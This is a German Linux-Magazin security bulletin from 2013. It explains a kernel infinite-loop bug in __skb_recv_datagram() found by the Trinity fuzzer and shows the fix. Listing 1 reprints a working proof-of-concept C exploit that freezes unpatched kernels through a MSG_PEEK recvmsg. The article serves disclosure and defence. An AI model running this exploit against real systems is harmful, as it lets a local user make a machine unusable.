Aus Linux-Magazin 05/2013

Insecurity Bulletin: Lokaler Angreifer kann System zum Stillstand bringen

© Edhar Yuralaits, Sebastian Kaulitzki, 123RF.com

Eine kürzlich entdeckte Sicherheitslücke im Linux-Kernel erlaubt lokalen Angreifern eine Denial-of-Service-Attacke gegen den Kernel. Die blockiert das System so, dass es auf keine Eingaben mehr reagiert.

Wenig mit der heiligen Dreieinigkeit zu tun hat die Software Trinity [1]. Mit ihr finden vielmehr Sicherheitsexperten wie Tommi Rantala Löcher im Linux-Kernel [2]. Die Software ist ein so genannter Systemcall Fuzz Tester, der Systemaufrufe des Linux-Kernels mit zufälligen Argumenten startet, um etwaige Schwachstellen in deren Implementation zu finden.

Zufällige Dreieinigkeit

Die von Trinity an Systemcalls übergebenen Parameter sind zwar zufällig, aber nicht immer unsinnig und schon gar nicht willkürlich gewählt. Sie übergeben etwa gültige Dateideskriptoren an Systemcalls, die solche als Argument erwarten. Das umgeht zuverlässig die im Kernel implementierten Sanity-Checks: Trinity kann also die Implementation testen, ohne dass die Sicherheitsroutinen eingreifen.

Der per Trinity entdeckte Fehler steckt in der »__skb_recv_datagram()« -Funktion in »net/core/datagram.c-« . Hier kann ein nicht-privilegierter lokaler Angreifer den Code in eine Endlosschleife zwingen – das System reagiert nicht mehr und ist unbenutzbar. Der fehlerhafte Code:

[...]
skb_queue_walk(queue, skb) {
  *peeked = skb->peeked;
  if (flags & MSG_PEEK) {
    if (*off >= skb->len) {
      *off -= skb->len;
      continue;
    }[...]

In der korrigierten Fassung haben Entwickler die zweite »if()« -Abfrage durch

if (*off >= skb->len && skb->len)

ersetzt, was die Sicherheitslücke schließt, sodass der betreffende Code nicht mehr in eine Endlosschleife gelangt.

Ursachenforschung

Laut Kernel-Log war der Fehler am 21. Februar 2012 in den Kernel gelangt und blieb ein Jahr unentdeckt. Der Commit [3] führte ein Offset-Argument für das »MSG_PEEK« -Flag ein. Ein knapper Proof-of-Concept-Exploit für diese Schwachstelle wurde ebenfalls veröffentlicht (Listing 1). Wird dieser auf einem ungepatchten System von einem lokalen Anwender ausgeführt, friert er den Kernel ein.

Listing 1

Exploit für __skb_recv_datagram()-Schwachstelle

01 [...]
02 int main(void) {
03   struct msghdr msg;
04   int sock[2];
05   int err;
06
07   err = socketpair(AF_UNIX, SOCK_DGRAM, 0, sock);
08   if (err) {
09     perror("socketpair");
10     exit(1);
11   }
12
13   memset(&msg, 0, sizeof(msg));
14   switch (fork()) {
15     default:
16       /* parent, send empty message */
17       err = sendmsg(sock[0], &msg, 0);
18       if (err) {
19         perror("sendmsg");
20         exit(1);
21       }
22       close(sock[0]);
23       printf("msg send, waiting for child...\n");
24       wait(NULL);
25       exit(0);
26
27     case 0:
28       /* child - should deadlock here */
29       err = recvmsg(sock[1], &msg, MSG_PEEK);
30       if (err < 0) {
31         perror("recvmsg");
32         exit(1);
33       }
34       printf("recvmsg returned, bug fixed?!\n");
35       close(sock[1]);
36       exit(0);
37
38 [...]
DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 1 HeftseitePreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben